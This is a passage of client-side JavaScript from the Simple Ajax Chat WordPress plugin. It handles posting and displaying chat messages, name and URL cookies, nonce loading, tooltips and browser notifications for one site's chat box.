				insertNewContent(results[i + 1], results[i + 2], results[i + 3], results[i + 4], results[i]);
				document.getElementById('sac_lastID').value = parseInt(results[i]) + 1;
			}
			sac_timeout = get_timeout;
			sac_loadtimes = 1;
		}
	}
};

// send chat
function sendComment() {
	currentChatText = document.forms['sac-form'].elements.sac_chat.value;
	if (httpSendChat.readyState == 4 || httpSendChat.readyState == 0) {
		if(currentChatText == '') {
			return;
		}
		currentName    = document.getElementById('sac_name').value;
		currentUrl     = document.getElementById('sac_url').value;
		currentNonce   = document.getElementById('sac_nonce').value;
		currentJSNonce = document.getElementById('sac_js_nonce').value;
		
		var n = 'n='  + encodeURIComponent(currentName);
		var c = '&c=' + encodeURIComponent(currentChatText);
		var u = '&u=' + encodeURIComponent(currentUrl);
		var nonce = '&sac_nonce=' + encodeURIComponent(currentNonce);
		var jsnonce = '&sac_js_nonce=' + encodeURIComponent(currentJSNonce);
		
		param = n + c + u + nonce + jsnonce;
		httpSendChat.open('POST', SendChaturl, true);
		httpSendChat.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
		httpSendChat.onreadystatechange = receiveChatText;
		httpSendChat.send(param);
		document.forms['sac-form'].elements.sac_chat.value = '';
	}
};

// insert chat
function insertNewContent(liName,liText,lastResponse, liUrl, liId) {
	
	response = document.getElementById('responseTime');
	response.replaceChild(document.createTextNode(lastResponse), response.firstChild);
	insertO = document.getElementById('sac-messages');

	var audio = document.getElementById('TheBox');
	if (audio) audio.play();

	oLi = document.createElement('li');
	oLi.setAttribute('id', 'comment-new' + liId);
	
	// li date
	Date.prototype.date = function() {
		
		var li_date_1 = this.getFullYear();
		var li_date_2 = (((this.getMonth() + 1) < 10) ? '0' : '');
		var li_date_3 = (this.getMonth() + 1);
		var li_date_4 = ((this.getDate() < 10) ? '0' : '');
		var li_date_5 = this.getDate();
		
		return li_date_1 + '-' + li_date_2 + li_date_3 + '-' + li_date_4 + li_date_5;
		
	};
	
	// li time
	Date.prototype.time = function() {
		
		var li_time_1 = ((this.getHours() < 10) ? '0' : '');
		var li_time_2 = this.getHours();
		var li_time_3 = ((this.getMinutes() < 10) ? '0' : '');
		var li_time_4 = this.getMinutes();
		var li_time_5 = ((this.getSeconds() < 10) ? '0' : '');
		var li_time_6 = this.getSeconds();
		
		return li_time_1 + li_time_2 + ':' + li_time_3 + li_time_4 + ':' + li_time_5 + li_time_6;
		
	};
	
	var newDate = new Date();
	var timestamp = newDate.date() + ',' + newDate.time();
	oLi.setAttribute('data-time', timestamp);
	
	oSpan = document.createElement('span');
	oSpan.setAttribute('class', 'sac-chat-name');
	
	// span date
	Date.prototype.today = function() {
		
		var span_date_1 = this.getFullYear();
		var span_date_2 = (((this.getMonth() + 1) < 10) ? '0' : '');
		var span_date_3 = (this.getMonth() + 1);
		var span_date_4 = ((this.getDate() < 10) ? '0' : '');
		var span_date_5 = this.getDate();
		
		return span_date_1 + '/' + span_date_2 + span_date_3 + '/' + span_date_4 + span_date_5;
		
	};
	
	// span time
	Date.prototype.timeNow = function() {
		
		var span_time_1 = ((this.getHours() < 10) ? '0' : '');
		var span_time_2 = this.getHours();
		var span_time_3 = ((this.getMinutes() < 10) ? '0' : '');
		var span_time_4 = this.getMinutes();
		var span_time_5 = ((this.getSeconds() < 10) ? '0' : '');
		var span_time_6 = this.getSeconds();
		
		return span_time_1 + span_time_2 + ':' + span_time_3 + span_time_4 + ':' + span_time_5 + span_time_6;
		
	};
	
	var datetime = 'Posted: ' + newDate.today() + ' @ ' + newDate.timeNow();
	oSpan.setAttribute('title', datetime);
	oName = document.createTextNode(liName);
	
		
	if (liUrl != '' && liUrl != 'http://' && liUrl != 'https://') {
		
		oURL = document.createElement('a');
		oURL.href = liUrl;
		oURL.rel = 'external';
		oURL.appendChild(oName);
		
	} else {
		
		oURL = oName;
		
	}
	
	oSpan.appendChild(oURL);
	
		
	name_class = liName.replace(/[\s\.\#\(\)]+/g,'-');
	
	oLi.className = 'sac-chat-message sac-live sac-user-' + name_class;
	oSpan.appendChild(document.createTextNode(' : '));
	oLi.appendChild(oSpan);
	oLi.innerHTML += sac_apply_filters(liText);
	
		
	if ('Notification' in window) {
		sacCustomNotify('New chat message', liName + ': ' + sac_apply_filters(liText) + "\r\n" + '(' + datetime + ')', window.location.href);
	}
	
		
		
	insertO.insertBefore(oLi, insertO.firstChild);
	
		jQuery.post('https://gazaldesign.gazaldesign.xyz/wordpress/wp-content/plugins/simple-ajax-chat/includes/sac-check-user.php', 'sac_user=' + encodeURIComponent(liName), function(response){
		jQuery('.sac-user-' + name_class).addClass('sac-online');
	});
	
		
	var fade_length = 1500;
	var fade_from   = '#ffffcc';
	var fade_to     = '#ffffff';
	
	Fat.fade_element('comment-new' + liId, 30, fade_length, fade_from, fade_to);

};

// textarea enter @ https://www.codingforums.com/showthread.php?t=63818
function pressedEnter(b,a) {
	var c = a.keyCode ? a.keyCode : a.which ? a.which : a.charCode;
	if (c == 13) { 
		sendComment();
		return false;
	} else { 
		return true;
	}
};

// chat status
function checkStatus(a) {
	currentChatText = document.forms['sac-form'].elements.sac_chat;
	oSubmit = document.forms['sac-form'].elements.submit;
	if (currentChatText.value != '' || a == 'active') {
		oSubmit.disabled = false;
	} else {
		oSubmit.disabled = true;
	}
};

// get cookie
function sac_getCookie(c) {
	var b = document.cookie;
	var e = c + '=';
	var d = b.indexOf('; ' + e);
	if (d == -1) {
		d = b.indexOf(e);
		if (d != 0) {
			return null;
		}
	} else {
		d += 2;
		var a = document.cookie.indexOf(';', d);
		if (a == -1) {
			a = b.length;
		}
		return unescape(b.substring(d + e.length, a));
	}
};

// check name
function checkName() {
	sacCookie = sac_getCookie('sacUserName');
	currentName = document.getElementById('sac_name');
	currentName.value = currentName.value.replace(/[^A-Z0-9_-]/gi, '');
	
		
	chat_name = currentName.value;
		
	if (currentName.value != chat_name) {
		currentName.value = chat_name;
	}
	if (chat_name != sacCookie) {
		document.cookie = 'sacUserName=' + chat_name + '; expires=Wed, 31 May 2023 09:55:53 UTC; samesite=strict;';
	}
	if (sacCookie && currentName.value == '') {
		currentName.value = sacCookie;
		return;
	}
	if (currentName.value == '') {
		currentName.value = 'guest_' + Math.floor(Math.random() * 10000);
	}
};

// check url
function checkUrl() {
	sacCookie = sac_getCookie('sacUrl');
	currentName = document.getElementById('sac_url');
	currentName.value = encodeURI(currentName.value);
	if (currentName.value == '') {
		return;
	}
	if (currentName.value != sacCookie) {
		document.cookie = 'sacUrl=' + currentName.value + '; expires=Wed, 31 May 2023 09:55:53 UTC; samesite=strict;';
		return;
	}
	if (sacCookie && (currentName.value == '' || currentName.value == 'http://' || currentName.value == 'https://')) {
		currentName.value = sacCookie;
		return;
	}	
};

// ajax
function getHTTPObject() {
	var xmlhttp;
	/*@cc_on
		@if (@_jscript_version >= 5)
		try {
			xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
		} catch (e) {
			try {
				xmlhttp = new ActiveXObject('Microsoft.XMLHTTP');
			} catch (E) {
				xmlhttp = false;
			}
		}
		@else
		xmlhttp = false;
	@end @*/
	if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
		try { 
			xmlhttp = new XMLHttpRequest();
		} catch (e) {
			xmlhttp = false;
		}
	}
	return xmlhttp;
};

jQuery(document).ready(function($){
	
	// nonce
	var url = 'https://gazaldesign.gazaldesign.xyz/wordpress/wp-content/plugins/simple-ajax-chat/resources/nonce.php';
	$('.sac_js_nonce').load(url);
	
	// blank targets
	jQuery("#sac-messages").on("click", "a[rel*=external]", function(e) {
		e.preventDefault();
		e.stopPropagation();
		window.open(this.href);
	});
	
});

// tooltips
jQuery(document).on({
	mouseenter: function() {
		var item = jQuery(this);
		var link = item.children('a');
		var title = item.attr('title');
		item.data('tip', title).removeAttr('title');
		link.css({ 'cursor' : 'help' });
		item.css({ 'position' : 'relative', 'display' : 'inline-block', 'cursor' : 'help' });
		jQuery('<div class="tooltip"></div>').text(title).appendTo(item);
		jQuery('.tooltip').css({ 
			'position' : 'absolute', 'z-index' : '9999', 'top' : '-2px', 'left' : '105%', 'line-height' : '16px',
			'padding' : '5px 10px', 'font-size' : '12px', 'font-weight' : 'normal', 'white-space' : 'nowrap',
			'color' : '#333', 'background-color' : '#efefef', 'box-shadow' : '0 5px 15px -5px rgba(0,0,0,0.5)'
		});
	}, mouseleave: function() {
		var item = jQuery(this);
		item.attr('title', item.data('tip'));
		jQuery('.tooltip').remove();
	}
}, '.sac-chat-name');

// notifications
function isNewNotificationSupported() {
	if (!window.Notification || !Notification.requestPermission) return false;
	if (Notification.permission == 'granted') throw new Error('Browser notification error for SAC plugin');
	try {
		new Notification('');
	} catch (e) {
		if (e.name == 'TypeError') return false;
	}
	return true;
}

function sacCustomNotify(title, desc, url) {
	if (window.Notification && Notification.permission == 'granted') {
		var notification = new Notification(title, {
			icon: 'https://gazaldesign.gazaldesign.xyz/wordpress/wp-content/plugins/simple-ajax-chat/resources/sac-400.png',
			body: desc,
		});
		if (url) {
			notification.onclick = function() {
				window.open(url);
			};
		}
		notification.onclose = function() {
			// console.log('Notification closed');
		};
	} else if (isNewNotificationSupported()) {
		Notification.requestPermission();
	}
}